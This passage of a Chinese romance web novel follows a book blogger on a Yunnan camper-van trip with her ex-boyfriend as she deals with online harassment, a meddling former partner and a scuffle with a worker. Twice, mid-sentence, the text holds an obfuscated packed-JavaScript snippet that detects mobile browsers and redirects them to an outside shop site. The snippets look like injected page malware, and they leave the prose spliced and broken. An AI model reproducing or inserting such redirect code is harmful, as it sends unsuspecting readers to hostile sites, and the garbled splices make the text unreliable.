景夏会立刻指不远处的树,“你不觉得这棵树和书名很搭嘛?见树又见林,见树、又见林……虽然内容上毫不相关,但你懂我,老是瞎联想。会不会有点无厘头?” 如果时樾掏出这本《云朵收集者手册》,说:“下雨虽然很烦,但能收集晴天看不到的云彩。” 景夏会情不自禁蹦起来抱他,“好有趣的书哎!!好喜欢!!”说不准也会mua一口,亲上他的下颌。 “轰轰!!” 起先景夏还以为打雷了,直到两个黑点极速靠近。摩托车轮压过浅草,在遮阳篷前面停下,溅起黏糊糊的泥花。车上下来三人,两男一女,年纪都不大。女生穿一条超短牛仔裤和亮晶晶的紧身短袖,衣服都湿漉漉黏在身上。俩男生的打扮……忽略褒贬之意,用网络用语来概括就是“精神小伙”。 “葛可以躲哈雨?”女生问着,已经钻进了篷下。 景夏和时樾交换了个眼神,后者起身,从车上搬下来多余的两个折叠小凳子。 俩男生坐下,女生便坐在了其中一个男生腿上,“谢谢嘎,雨停掉我们就走。” 打完招呼,三人便开始用这边的方言有说有笑,旁若无人。 才下午五点,可厚重的云层阻隔阳光,天色极速暗了下来,阵风也失去了温度。 景夏看了会,有些看不下去了,起身——时樾摁住她,“在哪放着?” 她愣了下。时樾深色的瞳孔向女生的方向偏去,“我去拿。” “床对面的柜子,上面,有新的浴巾。好像是蓝色的。” 时樾折回来,先是把沙发上扔的毯子披在景夏肩上,这才将浴巾递给她。 景夏撕开包装,“姑娘,披上吧,小心着凉。” 女生连连道谢。两米的浴巾裹在身上还有盈余,于是又拽住边沿盖住大腿和膝盖,肉眼可见舒展了些。 景夏抿着凉掉的茶,珊瑚绒和皮肤接触的地方滚烫。 三人一直坐到夜色浓郁时才走。雨小了些,但气温降得厉害,景夏把浴巾送给了女孩,一直目送他们离开,才动手收拾茶余杯盏。洗净茶具,擦净桌子,时樾还捡了那三人丢在地上的烟头。 景夏站在房车台阶上,时樾站在门边,仰着头,好一会没说话。 早已放在门把上的手蜷了蜷,她催促,“说吧。” “我……”时樾抿住唇。 “困了,别墨叽。” 他蹙眉,“如果我不在,如果你一个人,遇到这种情况——” “——遇到这种情况,我会把遮阳棚让给他们,自己上车,关窗锁门。” 薄唇扬起弧度,时樾点头,“嗯。” 景夏轻哧,“我又不傻!” 时樾温声,“嗯,我知道。” 五年前,九月初,也是第一个拥抱之后两周,相识之后的第三次见面,山城高铁站。 也是这样微雨昏暗的傍晚,也是这样的台阶。 景夏扶着行李箱,站在台阶上居高临下,“你这是——什么表情?” 时樾有些气喘,“怎么不提前和我讲?等很久了吧?一直站在这吗,你怎么穿这么薄,那边有个麦当劳,怎么没去里面避雨——” 景夏好笑,“去了去了,刚出来。我又不傻!” 时樾顺了会气,亮晶晶的眼睛一直盯着她,“这会堵车我没开车,坐地铁可以吗?饿吗?想不想吃火锅?要不我们——” 景夏捏着他的下巴,吻住翕动的薄唇。 景夏的视线上移,“休息了。” 五年后,这双眼睛已经没了青春正茂的神采,多了些沉静,“晚安。” ———————— 7月28日,自驾旅行书单第4期 推荐书目,艾伦·G·约翰逊《见树又见林》 “这是一本社会学入门书籍,深入浅出,用很日常的事例解释基础理论,阅读性很不错。今天翻出来重读,其实是因为……一棵树。” “见树又见林,字面的意思是,既要看到一棵树,也不要忘记看到这棵树所在的整片森林。把树类比为人,从社会学角度来说就是不要光从个人主义视角看问题,还要从整体出发,看到社会系统的存在。” “社会每天发生很多事情,好的,坏的。单从个人来看,几百几千几万公里外发生的事情和我没有任何关系。但事实上,所有问题都根植于我们参与的系统之中。这些结构性问题、观念、文化等等,都是像线织进社会这个巨形棉布一样无所不在。” “我们的感知、作出的选择,本质上都是社会系统形塑社会生活的体现。所有这一切都可以随时随地触动我们的每一根神经,可以在任何时间成为我们中任何一个人的问题。***” “反过来讲,其实每个人比想象中的更重要。单枪匹马去对抗一切问题一切不平等是不可能的。但我们不是提线木偶。” “我们的一举一动都在创造、改变、扭转这个世界、我们自己以及我们相处的人。我们可以厘清我们参与社会生活时所作的日常选择,从而使自己成为问题的一种解决之道,而非问题本身。***” 这是给时樾讲过的书讲过的话,现在景夏讲给自己。 雨停了,她认真地期待明天。 “晚安。” 衍生书单: 《乡土中国》费孝通 《权力与特权》格尔哈特·伦斯基 《社会控制》E.A.罗斯 10. 第 10 章 天不亮景夏就醒了。 主要怪昨晚跳跃的梦,从第一个吻开始,到频繁往返两城的高铁线路,开始运营读书博主初期的焦头烂额,还有见不到面时电话里的柔声细语。 咖啡机增压萃取的嗡鸣将她拉回现实世界。 奇迹爬出狗窝,先撅屁股绷紧前腿,又向前塌腰伸直后腿,一通犬式拉伸后开始嘤嘤叫着要下车。 这里四下无人,景夏便打开车门让它先自己溜达,做好咖啡后才跟了下来。 草坪泥土湿软,她提起裤腿,放弃了随奇迹跑远的打算,绕至房车前去看轮子的情况。两车相接的空隙,视野骤然开阔,2/3杯的咖啡液面骤然摇摆。 远处,时樾侧身而立,指尖一点猩红明灭。 昨天那三位避雨的年轻人一点着烟,时樾便出声阻止,“麻烦灭一下,或者走远点再抽。” 此刻,他咬着烟,烟雾冲破雨后积聚的水汽袅袅而升。娴熟地吸了几口,他夹回指间,手机也换到这只手,腾出的左手用力揉捏低垂的后颈。不知道是因为燃着的香烟、因为雾气朦胧中极低的能见度还是因为他,画面颓唐阴郁。 一抹黑白身影闪过。奇迹解决掉生理问题,冲向时樾,激动地摇尾巴。时樾旋即向房车的方向看过来。 乍然对上视线,他肉眼可见地僵了下,然后徒手掐了烟。 景夏转身回到房车,开始做早餐。 过了好一阵,时樾出现在门口。他没上车,手里提了个狗子捡粑粑袋,“昨天绑好的垃圾袋在哪?” 景夏在毛巾上擦了擦手,从柜子下的空档提出来,松开松紧抽绳。扔进去的不止粑粑袋,还有一小袋烟头。她不由蹙眉,皱了下鼻子。 时樾立刻后退了好几步,提起T恤领子闻了闻,“不好意思。” 垃圾袋塞回去,景夏洗净手,把乘有鸡蛋培根三明治的木碟递给时樾,“早餐,喝咖啡吗?” 他谨慎吐字,“都行。” “说人话。” “不麻烦的话就喝。” 还未浮出地平线的太阳向头顶的钴蓝注入金色,昨天含羞遮面的远山轮廓分明,只有一层雨后薄雾沉在地表,风从金沙江面吹拂而过。那棵树静静矗立,灰绿和碧绿像融化的流体晃动着。 时樾吃得很快,喝得也很快,空杯空盘后便乖乖坐着。他们正朝东,当浅粉色朦胧雾气托起红日,他说:“《云彩收集者手册》里有一页,关于雾和霭。” 景夏扒门去够书和笔,翻到这一页。 【雾和霭的区别主要在于能见度不同。通常来说,在霭中能见度在1-2千米,而在雾中能见度不足1千米——雾只是霭的加厚版……除此之外,还有“上坡雾”“冰雾”和“锋面雾”。无论哪种雾,对于观云者来说,没有什么比置身于雾或霭中更接近云彩了。*】 她在观测栏写下7月29日。 坐了很久,景夏也吃完了早餐。时樾问:“什么时候出发?” “再坐会。” 于是时樾去洗了杯盘。 阳光穿透雾气,将那水汽一层又一层削薄,视线所及之处越来越清晰。河流激荡的声响和蜿蜒至地平线尽头的金沙江一并出现。 景夏心情舒畅,“晴天。” 重新坐定的时樾没应。她奇怪地看他一眼,发现他眉头紧锁,神情阴郁,搭在膝盖上的手指神经质地敲个不停。 时间到了八点,金阮固定的早间电话来了,也揭晓了答案。 “你前任搞事了你知道不?” 景夏将手机从左边换到远离时樾的那边,“什么意思?” “不是你旁边那个前前任,前任,宇宙无敌好男人摄影大V云森雨。”金阮语露讥讽。 景夏蹙眉,“他怎么了?” “林森雨昨天发了一组风景图,ip也在云省。有人在评论q你,问他有没有关注最近的风波,他回复了一句:即使排除感情因素,我也站囤冰夏虫。她没做错什么。” “……”景夏已然感觉不妙,“然后呢?” “然后……这**网友脑壳都有坑!!!哎怎么从这一句话中解读出你是负心渣女他深情不忘啊!!!还说他去云省看似采风实则是担心你追随你,你不仅负心薄幸其实玩得花感情经历丰富,有些黑子嘴脏得要死还说、还说——” “□□羞辱?” “对!!!都**有病啊!!!”金阮气急,呼哧呼哧喘气,“恋爱分手都是你情我愿,凭啥这么区别对待啊!这个世界可不要太爱男!” 阳光柔和地照着放在桌上、用拇指指甲盖轮番压食指中指指腹的手。景夏冷笑了一声,“行,我知道了。” “你手机卡不是拔了吗?林森雨昨晚电话打到我这了,说想和你聊聊,我把他臭骂了一顿。结果今早又打,执着得不行。你看……需不需要回一个。” 挂了电话,景夏犹豫了下后问:“手机能借一下吗?”她不想看自己账号里积压的私信。 时樾果断解锁,但递来的动作有些迟缓。 “已经看到了?” “嗯。” “那怎么不和我说?”景夏接过,刚要在搜索框输入云森雨,便看到下方显示的搜索记录。 云森雨,云森雨囤冰夏虫,囤冰夏虫恋情,囤冰夏虫被拍,囤冰夏虫近况…… 景夏倏然看去,时樾眼神躲闪,但下颌角筋络暴起,后槽牙咬得很紧,“离谱评论太多,太恶心。不想让你看。” 用时樾的账号进自己的主页粗略翻了下,恶心已经是过于文雅的说法了。 昨晚发的书单分享下面,粗略一翻。 【题外话:该说不说,脸和身材还可以】 【兄弟吃点好的吧!】 【脸能有个9分,这飞机场5分不能更多。】 有人反驳:就事论事别上升到人身攻击。 却被回:染个蓝毛穿个xiong罩拍视频也不是啥正经人,谁知道私底下多乱,说两句咋了? 再一翻。 【别意淫了,一会给她看爽了。】 【爽多了估计索然无味了。】 【玩烂了。】 景夏即刻退出自己的主页,去看了眼云森雨昨晚发的帖子。五彩斑斓的树,浮萍涟漪,水上小屋,岁月静好。 置顶评论就是那条替她说话,回复是一众夸夸。 【在这种时候为前女友站台,云大够男人。】 【真替云大不值!】 【太不值了。云大分手这一年状态明显好很多,估计女的又作又渣。】 一刷新,这条帖子下的评论还在增加。 【云森雨1minago:大家理性上网,不要轻信谣言。我和夏虫和平分手,没那么多乱七八糟。】 底下新增回复belike—— 【太体面了,还是太体面了。】 【还记得官宣分手的时候,云大发的那组图吗?】 【当然,那个醉酒视角,狗看了都心碎(而且夏虫隔天发了个《人都是要死的》推荐,嘲讽拉满】 景夏:? 她掰开自己的手机壳,电话卡倒在手上。 “要干什么?”时樾问。 景夏站起来,准备去车上找卡针,“回个电话。” 时樾一把拉住她的手腕,“用我的。” “我要给——” “云森雨。”时樾稍加用力,景夏就跌坐回椅子上,“用我的打。” 用前前任的手机给前任打电话。当这等魔幻事件发生,景夏还算强大的心脏都颤了几颤。她对照联系人输入手机号,拇指悬在拨号键上方久久摁不下去。 时樾骤然起身,“随便用,我去抽烟。” 说罢,迈着长腿向远处走去。先是大步流星,走出去十来米之后放慢脚步,最后停在了那棵树旁。并没有点烟。 “喂?” 景夏:“……” 那边笑了,“夏虫?” “别再干涉我的事了,谢谢。” 奇迹追了过去,绕粗壮树干转了好几圈后捡了个木棍,缠时樾陪玩。男人蹲下,一手搭着膝盖,一手拽住木棍的一头。 奇迹做下犬式,兴冲冲地要用力拔河。 林森雨吊儿郎当地问:“你的新手机号?” “不是,借的。你不要再——” “你在哪呢?春城?丽江?香格里拉?” 景夏有点烦,“和你没关系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276293|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林森雨不得寸也进尺,“一个人吗?要不咱俩一起?微信重新通过一些呗!” “……我求你了别再公开发任何东西增加热度了好吗?!”压嗓低吼在空荡的谷间回响,远处时樾和奇迹同事回头看过来。 对面又是一声轻笑,“你说晚了,我刚在你的第四期自驾书单下面发了条评论。” 景夏啪地挂了电话,切掉app一看—— 【云森雨:所有评判女性身材长相的恶臭男请原地去死。】 景夏被气得七窍冒烟恨不得穿过网线把他掐死。深吸气,深呼气,再深吸气,再深呼气……还是气得手抖,好巧不巧点到了右下角“我”。 ID:今天不下雨。 似曾相识的感觉。 景夏点开消息界面,当看到唯一一条已发出评论的时候,所有机缘巧合在此形成闭环。 【今天不下雨:北环友谊宠物医院,24小时开门,驾车20分钟左右能到。医生很敬业,门口好停车。】 “打完了吗?”声音几乎在耳边。 景夏在大脑反应过来前身体自动摁了锁屏,旋即察觉这举动多么做贼心虚,“咳,打完了……”然后把手机塞进时樾手里,此地无银三百两地补充,“我我就看了下评论,没看别的app。” 反正她也没说谎。 时樾双手连同手机塞进裤兜,“别的也可以,我这没什么是你不能看的。” 景夏吧唧咬住下嘴唇,没接话,也不知道怎么接。 “什么时候出发?” “现在。”奇迹听到出发两个字就兴奋,一连旋转了好几圈。她摸摸小狗头,“走吧。” 时樾开车,景夏窝在副驾。 一大一小两辆连在一起的车从林间公路穿梭,阳光被分隔为寸缕,在前挡风玻璃投下光斑。 她看着前方树干之间左右蜿蜒的空隙,似乎什么都没想,又似乎想了很多。最后鼓起勇气登进自己的账号,删掉了林森雨的评论。 车速不快,抵达市区附近的房车营地时已过正午。营地不大,车也不多,时樾径直驶到里侧卫生间门口停下。 他去连上水管,扫码之后开水,回到车上,重重靠近椅背,“加完水你好好休息,我去市区买点东西。有什么需要的吗?” 蓝天白云被营地四周碧绿的酸角树掩了大半。景夏眯眼看他,“大晴天,怎么还这么抑郁?” 时樾偏头,神色如常,“没有。”但他坐姿紧绷,浓眉不自觉拧着。 景夏笑了笑,“刚做博主那会,我总担心自己说错话被网友骂。你和我说,网络看似是有实体的,比如我能从分享中获取成就感、快乐,甚至切实的经济回报。但这些改变不了它虚无缥缈的本质。如果被骂不开心,那就不做了,回到现实生活中我还是我,网友再怎么骂都没能耐插手现实生活。” 时樾沉默少顷,自嘲地笑了,“有够愚蠢。” “嗯?” “我低估了网络行为的极端性。”他胳膊搭着中控,手指又在神经质地敲着随行杯。敲了好一会,突然停了,恶狠狠:“ri他个仙人板板,尽搞些哈板事!” 好久没听过他说方言,还是骂人的方言,还是冷脸帅哥说方言。虽然此情此景不太合适但景夏还是笑出声来。 时樾嗔怪地看她一眼,“笑撒子嘛——”紧接着意识到自己的语言系统忘记切换,于是沉声,字正腔圆,“别笑了,我真想穿过网线弄死这群……”自动化消音之后又咬牙切齿,“我真的、我真的是——” 瞅着一直冷静自持的时樾炸毛,其杀伤力和奇迹离五十米冲一只柯基低吼差不多,倒是能让心情变好。她挥挥手,“没事,不看就完了。去看水加满没?” 时樾没动,又静坐了一阵,冷不丁说:“我也高估了自己。” 笑一笑松快了些,景夏后知后觉有点渴,于是端起随行杯咬住吸管,“嗯?” “我以为无论怎么样,至少我能一直陪着你。” 吸管磕了牙,杯底和手都砸落在了腿面。她闭了闭眼,“是你提的分手,毫不留情。” “……是啊。我走这一趟是为了赎罪,但你……千万别原谅我。”车身一晃,门从外用力甩上了。 11. 第 11 章 晚餐吃的是贵妃鸡翅。时樾去两公里外超市买的,又看菜谱做的,很好吃,但景夏没吃太多,因为景东盛来了电话。 她放下筷子,撒双人字拖下车,又走出去几米远才接起,“爸。” 景东盛的声音远隔千里也不失威严,“出去玩了?” “嗯,在云省。” “证据呢,邱律那边收集得差不多了。我今天和他聊了下,马上,起诉平台。” 景夏半天没说话。 景东盛问:“来龙去脉你姐姐都和我说过了,你还有什么想说的?” “我……”她抓抓头发,束在脑后的发髻更加松散,“没想到连累家里,邱律那边有什么需要配合的随时联系我。” “小浛在管,有事她会联系你。” 每次面对家人,景夏都不知道说什么,又拧巴又哑巴,憋了好一会吞吐道:“对不起啊爸,内个……让你们操心了。” “之前就和你说过做这不靠谱,要脚踏实地赚钱,现在好家伙弄成这样。你妈最近门都没脸出,公司里也议论纷纷的……你还有钱吗?” 景夏不由加重语气,“我能养活自己!” 景东盛难得沉默。景夏低着头,用鞋尖去磕砖块上的镂空,为如何快速挂掉电话打腹稿。 “爸的意思是,如果缺钱就和我们说。” 拖鞋从脚趾间滑脱,啪嗒掉了下去,翻了个面。她勾了几下翻正鞋子,又对了几下才将人字部分卡进指间,“我不缺。” “嗯……那好好玩吧,少在网上发东西,也少看网上那些、那些污言秽语。” 景夏登了自己的账号,翻看着景东盛口中的污言秽语,突然蹲了下去,将脸埋在双臂之间,克制不住地哭了。 她无比清晰地感受到了羞耻。 自己的照片被传播被评价被附黄色语言,她恶心,她难受,但不看不想的话勉强还能忍耐。但当这一切被父母看到,她的防线被名为羞耻的浪潮冲得片甲不留。 浪潮决堤,她甚至开始怀疑,是不是她哪里做错了。 - 景夏走回车边,看到桌上的饭菜和她丢掉筷子时一模一样,时樾斜坐在沙发上,双臂搭着双膝,在看手机。察觉动静他看过来,“饭菜有点凉了,我给你热一下。” “我饱了。”她垂下微肿的眼皮避开灼灼视线,冲奇迹一招手,“奇迹,我带你出去遛弯。” 奇迹噌一下就窜到门口,忽视两节台阶直接腾飞落地,兴奋地转了个圈,“汪!” 景夏佯装小跑两步,“走啦走啦!” “牵绳。”时樾在身后喊。 景夏头都不回,“附近没人,不牵了!” ——主要是怕被时樾看出来她哭过。 “想哭就不要忍着。”时樾用指腹去擦景夏断线的泪珠。 景夏将脸埋在他肩窝,哭了好一阵。 时樾一直轻拍她的后背,一直等到她的呼吸频率平缓下来,“和家里说得不太好吗?” “嗯。”景夏闷闷不乐,“我爸妈一直不支持我选中文系,你知道的……做博主在他们眼里就是不务正业,不体贴父母姐姐。” “那怎么算正业?找个工作?” “回公司帮我姐。” 时樾迟疑,“……公司?” 景夏直起腰,眨巴湿漉漉的眼睛,“啊你是不是不知道?我爸是做酒业的,有个不大不小的公司。” 时樾先是蹙眉,之后笑了下,一副了然的模样。 她戳他的嘴角,“你这表情——什么意思?” 时樾亲了下她的指尖,“就是明白过来,为什么你的想法有些割裂。” 景夏茫然,“嗯?哪里割裂?” “一方面是对理想的执着追求、视金钱如粪土的洒脱。另一方面,又很在意做博主到底能不能赚到足够的钱的小俗气。” 她吹眉瞪眼,“你说我俗?” “俗的话怎么叫割裂嘛!”时樾正色,“家人不理解你的精神世界,但你很想向他们证明自己的选择。钱就成了唯一的方式。” 景夏垂下眼皮,嘴唇抿得很紧。被说中心事,可她又不想承认。 “这是你的人生,你不需要向任何人证明任何事。”时樾说,“赚了三亿还是三千对一家公司来说是挺重要的,但你又不是上市公司的股票,必须要升值。真正爱你的人,只会在乎你过得好不好、开不开心。只要你真正享受阅读、享受分享阅读,那就不要想那么多,放手去做。” “你不是比我小两岁吗,怎么一副知心大哥哥的模样?”有时候像顽皮的弟弟,有时候又很老成,着实很多面。 “这叫旁观者清。”时樾挺直腰杆,眉飞色舞,有点小得意,“那你要愿意叫我声哥哥也行!” “……想得美,你先叫我声姐姐听!” “不要。” 景夏哂他,“行吧,那我叫。” 时樾喜上眉梢眼睛锃亮。 景夏笑吟吟和他对视了很久很久,然后甜甜道:“弟弟。” “……”时樾眉毛眼皮肩膀一并垮了。 暮色四合,白天东一朵西一群的云不知何时被风吹得无影无踪,从远处几栋五层小楼间的空隙中、在附近工地堆起的砖墙中、从枝繁叶茂的叫不上名字的林子间,粉紫色像一道丝绸在地平线上漂浮着。 此情此景,奇迹绕树坑一周,翘腿—— 然后换了个树坑,绕树三周,蹲下—— 景夏摸遍口袋,在屁股兜里找到了两张纸和一个旧口罩。虽然不如捡粑粑袋方便,但总好过什么都没有。她长嘘一口气,垫足三层之后处理掉痕迹。 “你今天好像没怎么吃狗粮啊奇迹?”她回忆了下,摸摸小狗肚子,“扁扁的,一会回去再吃点吧。” “汪!”奇迹估摸是听懂了,粉红舌头掉在牙边,在她身上蹭了蹭,弹射起步。 瞅那抹残影,景夏终于对牧羊犬三个字有了认知。 她拔腿就追,奈何穿着人字拖,跑两步脚趾头疼,“奇迹你慢点!!!” 奇迹头都不回,一溜烟一转弯,影都没了。这一片在市区边上没什么人,但有个工地,容易跑丢。 景夏有点急了,紧赶慢赶绕过弯,恰巧看到两人从工地方向迎面而来,而奇迹扑向了其中一人。 “奇迹!” 景夏顾不上脚疼了狂奔过去依旧晚了一步。到跟前才发现,它是站起来去嗅闻那人手里提的餐盒。 男人抬腿就是一脚,“哪来的死狗,滚!” 奇迹“吱儿”的叫了一声,夹住尾巴躲在景夏身后。 两人都带着安全帽,衣服上覆了厚厚一层灰,应当是工地的工人。 她一手摁住奇迹的后颈,抱歉地笑笑,“两位大哥实在不好意思,它应该是闻到饭菜的香味想去闻一下。真对不起啊!” “cnm这份我咋个吃得成!老子整死你!”男人怒道,抬脚冲奇迹探头的脑袋踢。 景夏赶紧挡住奇迹,硬生生用小腿挨了一下,“嘶……对不起大哥,这饭您在哪买的?我重新给您买一份。或者您看需要多钱,我赔给您。” 男人举起饭盒,“我婆娘送呢饭,你拿哪样赔?你tmd赔得个起?” 景夏理亏在先不好还嘴,尽量好脾气道:“那您说怎么处理,我听您的——” 男人横眉竖起,一掌推在了她肩膀,于是饭盒重重砸在胸口,“你叫喃!!你吼哪份!!” 她吃痛弓腰,余光中又一道黑影遮天蔽日而来,于是本能抬胳膊去挡—— 一阵风卷走了空气中的汗味。 景夏脚下踉跄了下,先是感觉手臂有点疼,定睛一看,那里被一只骨节分明的手攥着,这才发现自己被人反手揽到身后。就像她护着奇迹那样。 时樾打开男人的胳膊,“好好说话!” 男人先是笑,然后面露凶相,再次抬手,“cnm老子饭都整不得,你——” 时樾再次打开。就这么重复了好几次,皮肉骨头相碰的声音响彻空荡的停车场。他低吼,每个字几乎从牙缝中挤出来,“老子说、别动手!” 两人靠得很紧,几乎额头贴着额头,像是狭路相逢的猛兽,警惕地互相打量。 景夏反手去拉时樾,非但没拉动,反倒被揽住肩膀动弹不得了。 “狗先扑我呢我动手咋个了!!!” “我们的狗扑人是我们的不对,饭和餐盒我们赔。如果你还有什么不满意,那就报警。但一码归一码,你要再敢给老子动手……”他下颌和颈侧的青筋在最后一点天光中跳动。 在景夏的记忆中,时樾总是温润、内敛、柔和的。她没见过这样的他。 凶悍,粗野,凌厉。 很陌生。 回到房车,时樾身上那层森冷才褪了些,但浓眉依然紧狞,薄唇抿成一个锋利的直线。 他扶景夏坐下才松手,后者莫名放轻了呼吸。一并心虚的还有罪魁祸首,在她脚边蜷缩身体,一脸鬼迷日眼的模样。 时樾没坐,靠着台面,“刚才碰疼了吗?” “没事。”景夏抻了下肩膀。其实疼得很,但是疼的位置有点尴尬,只能硬忍着。 时樾看了她好一会,视线下移。 见状,奇迹先是往景夏腿上靠,发现没人给它撑腰之后这才弓腰低头往时樾那凑,一边挪一边眯眼谄媚地笑。 时樾双手抱臂,面无表情。 飞机耳小狗继续蹑手蹑脚往前走,到脚边之后慢吞吞放下屁股。 时樾依然不动,戒过毒似的。 于是奇迹缓慢抬起手,搭上他裤脚。他腿一晃,晃开了,“胡乱扑人是吧?” 奇迹:“……嘤嘤。” “明早没饭吃了。” 奇迹:“汪!” “你再给我顶嘴?!” 狗嘴闭上了,并鬼祟回头求助景夏。那眼神仿佛在说:说好的过来吃饭呢?! 景夏救不了它,于是视线回避。奇迹绝望了。 时樾没再搭理他,继续洗池子里堆积的碗碟,一时车内只有唰唰水声。 “谢谢。”景夏低声说。 那背影微滞,没应。 远处亮着微弱的路灯灯光,四周更显黑暗。 景夏不知道说什么,复杂的情绪像洋葱,层层叠叠又酸又辣。她捞起手边的书,随意翻着。 【夜光云: 神秘的夜光云比大气中所有云层都要高。它也被称为“极地中间层云”,他们有着怪异的蓝白色外观,通常呈现为微妙的涟漪或波浪。】 景夏又看了眼那背影,恰好从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276294|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身前的窗户望到夜空边沿。一层很薄的云蜿蜒在视野所及的最远方,细看有些亮堂,“那是夜光云吗?” 时樾看了一眼,依旧沉默。他铺开沥水架,将碗碟扣在上方,下车去了。 景夏拍拍奇迹蔫巴的脑瓜,心绪更乱了。 不过没乱太久,时樾折了回来,在她面前蹲下,“那是城市灯光。夜光云一般出现在纬度高于50的地区,这北纬才二十来度。” 说着,他将碘酒、棉签和药膏放在桌上,轻轻脱掉她脚上的人字拖,将她一般洗澡用的普通拖鞋放在脚边,握住脚踝—— 景夏膝盖打弯,折起小腿。 “洗完澡记得抹药。”时樾收回手。 - “嘶……差不多就是这样。”粘了碘酒的棉签扔进垃圾桶,脚塞进拖鞋,景夏擦擦手,“评论我已经删了。” “林森雨搞咩呀!”金阮忿忿,“是嫌现在风向不够乱热度不够高?还是他钩子痒了也想挨骂了?” “你这话也太糙了点。”景夏拉上窗帘,扯开背心肩带,露出胸口一片淤青。她挤了点药膏,用指尖揉开,“反正烦得很。” “不过还真有你的,用时樾的手机给林森雨打电话?” “……别提。” 金阮笑,“你就不担心万一林森雨打回来,被时樾接了?” “都是前任而已,接就接。”景夏说,“量林森雨说不出来什么P话。” 金阮玩笑道:“都是前任,可你这态度差多了啊!提起林森雨和冤家似的,提起时樾怎么就惜字如金了?” 景夏提起肩带,刻意笑了两声,“可能因为……一个是我甩了人家,一个是我被人家甩吧,伤自尊。” 金阮顿了下,“管他甩不甩的!反正现在是他追在你屁股后面,你要开心了给个好脸色,不高兴就往死里折磨他!” 七月底,车里不开空调的话有些闷热。 景夏把窗帘拉开三分之一,窗户也推开一条缝。卫生间方向,时樾正靠着围栏,手里夹着烟,和说“你千万不要原谅我”时一样冷淡漠然。 她原本就没打算原谅他。 “几点了?你去哪?”景夏惊醒,发现时樾已经穿好衣服,垮着包往出走。 男人没看她,“回山城。” 景夏围着被子坐起来,“学校有急事吗?” “没有。”时樾说。 “那是怎么了?怎么突然要走?”景夏挪到床边,做出一个想要下床的动作,但又碍于不着寸缕停住了。 那天是恋爱两个月之后,时樾的生日,景夏终于把这个颇为保守的小古板拐上了床。怎么讲呢?弟弟还得是弟弟,体力好,学习能力强,又乖又野,她这会还疲累有点晕乎。 她倒希望自己疲累到没被惊醒。 “我想了想,我们还是做普通朋友为好。这一晚你也别放在心上。分了吧。”门开了又关,回音和冷冰冰的话语停留在她耳边,久久不散。 时樾将掐灭的烟头扔进手里的垃圾袋,掏出烟盒,又取了根烟,手拢在唇边点燃。 她以后也没打算原谅他。 ————— 7月29日,自驾书单第5期 推荐书目,加文·普雷特-平尼《云彩收集者手册》 景夏依然穿着被称为“xiong罩”的背心,依然披着蓝色长发。 “云省正是雨季。” “从小时候开始我就不喜欢雨天。我不喜欢无论打什么伞都会落到身上的雨滴,潮湿的泥土气味,永远干净不了的鞋子和裤腿。” “拿到这本书时,我突然发现自己总是在低头看。看地,看水坑,看泥,举着伞闷头走路,很少抬头看看正在下雨的天空。” 景夏翻到破云片那一页,向镜头展示书上的图片,和记录下的观测日期。 “昨天,我第一次知道自己视而不见的深色云层学名叫做破云片。感觉很神奇,讨厌的雨天也多了一点趣味。” “这本书介绍了46种云彩和大气光学现象,有的日日看见,有的鲜少出现。前言中说,云是天空的表情,但并不是可有可无的摆设。云彩体现了我们周围这个世界的变幻无常。” “在这个变幻无常的世界上,变是生活中唯一不变的东西*。但当我在观测记录中记下一个日期,拍下一张天空的照片,将那一个时刻一朵云凝固,永远留下了我的记忆里,成为我的一部分。这一部分永远不会再改变。” 景夏放下书,坚定地说:“从今天开始,账号下所有污言秽语我都会删评拉黑。请大家文明上网,理性发言。” 那句“一码归一码”提醒了她。即使她有错,也不该被如此对待。 越是感觉到羞耻,她越应该给造成这一结果的人点颜色看看,哪怕会搅起更多风云,也不该沉默。 “黑夜一无所有,为何给我安慰?**” “即使太阳已经落下地平线,夜光云仍然能够照亮夜空。当天空中其他部分已经黑暗,夜光云仍然能够捕捉太阳光。它们的名字来自拉丁语,意思是“在黑夜中闪耀”。” “晚安。” 衍生书单: 《寂静的春天》蕾切尔·卡森 《树的邀约》维克多·古塔尔(待读) 《了不起的昆虫》丸山宗利 12. 第 12 章 景夏蹲在车边,面朝依次排开的三盆绿植。青苹果竹芋,玛丽安,绿天鹅。 她摸摸这颗叶片,捏捏那只茎干,最终得出结论:自行吸收天地日月之精华就是比她定时定点浇水晒太阳长得好。 至于夏蝈蝈,景夏摸摸笼子别墅,莫名愧疚。 有了奇迹,她对蝈蝈疏于照顾,甚至都没发现什么时候被时樾挪到了前车。回忆起来,好几天没听到蝈蝈半夜叫了。 景夏美美喂了蝈蝈些面包虫和一小块苹果——时樾昨天去买鸡翅的时候买的。正准备啃剩下的,腋下长出小狗脑袋。 “鼻子真灵啊你!”她削下来一小块放在手里,奇迹湿润的鼻头蹭着掌心,然后仰起头吧唧嘴,咬得咔嚓咔嚓响,“果然,只有小狗吧唧嘴可爱。” 奇迹咧嘴笑,两只前爪来回踱步。 “还要?” “汪!” 一人一狗蹲在车边,你一口我一口吃完一整个苹果。 时樾拎着一只折叠盆从卫生间走过来,掏出不知道哪弄来的线撑在在遮阳篷支架之间,然后一件件搭起洗过的T恤牛仔裤。 景夏没看他,假装专心和小狗玩。阳光晴好,气氛却很微妙。 “我买了早餐,洗洗手准备吃饭。”时樾甩掉盆里的水,靠在车前。 